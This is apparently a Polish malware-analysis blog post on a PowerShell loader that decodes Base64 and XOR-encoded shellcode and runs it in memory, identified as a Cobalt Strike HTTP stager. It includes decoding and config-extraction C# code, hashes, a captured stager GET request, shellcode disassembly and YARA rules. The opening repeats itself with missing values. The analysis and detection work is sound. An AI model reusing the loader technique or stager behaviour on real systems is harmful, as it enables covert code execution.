Złośliwy skrypt PowerShell uruchamia kod powłoki
05.06.2022 Dawid Farbaniec

Próbka o sumie kontrolnej SHA-256:
odwiedziła ostatnio laboratorium.
Po przeskanowaniu pliku w usłudze VirusTotal na dzień pisania tego była wykrywalna przez 34 z wszystkich 57 dostawców zabezpieczeń i przez 0 piaskownic. Sygnatury pojawiające się podczas skanowania informują o powiązaniu próbki z oprogramowaniem Cobalt Strike | Adversary Simulation and Red Team Operations.
Skrypt posiada w sobie ładunek, który jest zakodowany algorytmem Base64.
Bajty po odkodowaniu są dodatkowo traktowane alternatywą wykluczającą XOR z kluczem 35.
Za pomocą funkcji WinAPI o nazwie
Dalej następuje wykonanie surowych bajtów ładunku w pamięci.
Ładunek można sobie zrzucić na dysk np. takim kodem w języku C# (.NET).
Jeśli ładunek jest zrzucony w celu łatwiejszej identyfikacji warto obliczyć funkcje skrótu.
Calculating hashes... (dump1.bin)
SHA-256:
SHA-384:
SHA-512:
Calculating deprecated hashes...
MD5:
SHA-1:
The algorithms MD5 and SHA-1 are no longer considered secure. These algorithms should only be used for simple modification checks and should not be used to create hash values used for tampering checks.
Przeglądając kod ładunku w deasemblerze okazuje się, że jest to kod wstrzykiwalny typu shellcode dla Windows x64 (64-bit). Można go uruchomić w celu analizy na przykład za pomocą BytesLauncher Solution. Jest to program w Asemblerze, który czyta kod maszynowy z pliku i uruchamia go w pamięci.
Analiza zachowania pokazuje, że zrzucony ładunek wysyła żądanie GET przez protokół HTTP. Jednak bez odpowiedzi, gdyż pod tym adresem IP nie uruchomiono żadnej usługi. Nie mając pozostałej części nie można nawet zasymulować pełnego zachowania.
Analiza się jednak nie kończy.
W debuggerze można zaobserwować charakterystyczne dla kodu powłoki czytanie poszczególnych przesunięć z rejestru GS.
Analiza dynamiczna pozwala zaobserwować jakie funkcje API systemu Windows są wywoływane do komunikacji sieciowej.
Najpierw za pomocą
Funkcja
Konfigurację z próbki można odczytać na przykład takim kodem w języku C# (.NET).
4114796b6e78026b46e22ded9c368760129544f70fd9955fe9fc9b1e804d96b2
odwiedziła ostatnio laboratorium.
Po przeskanowaniu pliku w usłudze VirusTotal na dzień pisania tego była wykrywalna przez 34 z wszystkich 57 dostawców zabezpieczeń i przez 0 piaskownic. Sygnatury pojawiające się podczas skanowania informują o powiązaniu próbki z oprogramowaniem Cobalt Strike | Adversary Simulation and Red Team Operations.
Windows PowerShell Trojan Dropper (Loader)
Próbka to skrypt PowerShell (rozszerzenie.ps1
) i nie jest zaciemniona (ang. obfuscated).

Skrypt posiada w sobie ładunek, który jest zakodowany algorytmem Base64.

Bajty po odkodowaniu są dodatkowo traktowane alternatywą wykluczającą XOR z kluczem 35.

Za pomocą funkcji WinAPI o nazwie
VirtualAlloc
rezerwowana jest pamięć na bajty ładunku. Pamięć jest zerowana i poźniej kod ładunku jest kopiowany do nowego miejsca w pamięci.

Dalej następuje wykonanie surowych bajtów ładunku w pamięci.

Ładunek można sobie zrzucić na dysk np. takim kodem w języku C# (.NET).
// See https://aka.ms/new-console-template for more information
byte[] payload = Convert.FromBase64String("payload cutted for safety and brevity.");
for(int i = 0; i < payload.Length; i++)
{
payload[i] ^= 35;
}
File.WriteAllBytes(@"C:\Users\x\Desktop\dump1.bin", payload);
Console.WriteLine("Done.");
Jeśli ładunek jest zrzucony w celu łatwiejszej identyfikacji warto obliczyć funkcje skrótu.
Calculating hashes... (dump1.bin)
SHA-256:
18AF4F5A5AD1399AB990776EE814E9F4860E94C80141042C69FED72A25A8E42E
SHA-384:
8E555B7CD7FE39BAAB9CAE2BE6A3B2EFDE3C39866FC31DCFDD5514070022D03B25948A60F361D968DAC784EC88355641
SHA-512:
73A8BC2DAA53B405FAAEE933227619A61FE19A6A515685DD10291961020A1264D910ACFCB2996E6170C643B6E06E0EB020E89A798423CDEEBE109C904086086F
Calculating deprecated hashes...
MD5:
60AC66D9EEBA8ACC6B7EF4C6AE1226F4
SHA-1:
2674BC7B8B935BD689C1ACBB7F348A105702B8B5
The algorithms MD5 and SHA-1 are no longer considered secure. These algorithms should only be used for simple modification checks and should not be used to create hash values used for tampering checks.
Przeglądając kod ładunku w deasemblerze okazuje się, że jest to kod wstrzykiwalny typu shellcode dla Windows x64 (64-bit). Można go uruchomić w celu analizy na przykład za pomocą BytesLauncher Solution. Jest to program w Asemblerze, który czyta kod maszynowy z pliku i uruchamia go w pamięci.
Analiza zachowania pokazuje, że zrzucony ładunek wysyła żądanie GET przez protokół HTTP. Jednak bez odpowiedzi, gdyż pod tym adresem IP nie uruchomiono żadnej usługi. Nie mając pozostałej części nie można nawet zasymulować pełnego zachowania.

GET http://192.168.0.12/kUKR HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENXA)
Host: 192.168.0.12
Proxy-Connection: Keep-Alive
Pragma: no-cache
Analiza się jednak nie kończy.
W debuggerze można zaobserwować charakterystyczne dla kodu powłoki czytanie poszczególnych przesunięć z rejestru GS.
6548:8B52 60 | mov rdx, qword ptr gs:[rdx+60] |
48:8B52 18 | mov rdx, qword ptr ds:[rdx+18] |
48:8B52 20 | mov rdx, qword ptr ds:[rdx+20] |
48:8B72 50 | mov rsi, qword ptr ds:[rdx+50] |
48:0FB74A 4A | movzx rcx, word ptr ds:[rdx+4A] | rcx:"wininet"
4D:31C9 | xor r9, r9 |
48:31C0 | xor rax, rax | rax:payload
AC | lodsb |
3C 61 | cmp al, 61 | 61:'a'
7C 02 | jl byteslauncher_x64.7FF6BA903037 |
Analiza dynamiczna pozwala zaobserwować jakie funkcje API systemu Windows są wywoływane do komunikacji sieciowej.

Najpierw za pomocą
LoadLibraryA
ładowana jest biblioteka wininet
. Dalej za pomocą InternetOpenA
oraz InternetConnectA
następuje próba nawiązania połączenia z określonym adresem IP.
Funkcja
HttpSendRequestA
wysyła żądanie. Modyfikując w debuggerze jej zwracaną wartość okazuje się, że później rezerwowana jest pamięć przez VirtualAlloc
oraz czytany jest plik (kolejny ładunek) poprzez InternetReadFile
.
Konfigurację z próbki można odczytać na przykład takim kodem w języku C# (.NET).
// See https://aka.ms/new-console-template for more information
using System.Text;
var payload = File.ReadAllBytes(@"C:\Users\x\Desktop\dump1.bin");
if (payload == null)
{
Console.WriteLine("Error reading payload.");
return;
}
if(payload.Length < 0 || payload.Length > 4096)
{
Console.WriteLine("Payload length is probably incorrect.");
return;
}
List<byte> bytes = new(payload);
string IPAddress = Encoding.ASCII.GetString(
bytes.GetRange(0x36A, 0x11).ToArray());
string command = Encoding.ASCII.GetString(
bytes.GetRange(0x186, 0x50).ToArray());
string userAgent = Encoding.ASCII.GetString(
bytes.GetRange(0x1D6, 0x12F).ToArray());
Console.WriteLine("http://" + IPAddress.TrimEnd((char)0x00) + command);
Console.WriteLine(userAgent);
Przykładowe reguły YARA
Reguła na złośliwy loader w PowerShell
rule powershell_shellcode_loader {
meta:
author = "ethical.blue"
filetype = "PowerShell Script"
date = "2022-05-19"
strings:
$suspicious_base64 = "[System.Convert]::FromBase64String"
$delegate_from_func_ptr = "[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer"
$execute_func = ".Invoke([IntPtr]::Zero)"
condition:
all of them
}
Reguła na kod powłoki dla Windows x64
rule win64_PEB_traverser {
meta:
author = "ethical.blue"
filetype = "Binary File"
date = "2022-05-19"
strings:
/* 6548:8B52 60 | mov rdx,qword ptr gs:[rdx+60] */
$read_GS_register = { 65 48 8B ?? 60 }
/* 48:8B52 18 | mov rdx,qword ptr ds:[rdx+18] */
$read_18_offset = { 48 8B ?? 18 }
/* 48:8B52 20 | mov rdx,qword ptr ds:[rdx+20] */
$read_20_offset = { 48 8B ?? 20 }
condition:
all of them
}
Cobalt Strike HTTP Stager x64
Kod powłoki (ang. shellcode) z analizowanej próbki i plik binarnyhttpstager64.bin
z programu Cobalt Strike są jak dwie krople wody. Można jednoznacznie zidentyfikować i sklasyfikować próbkę.

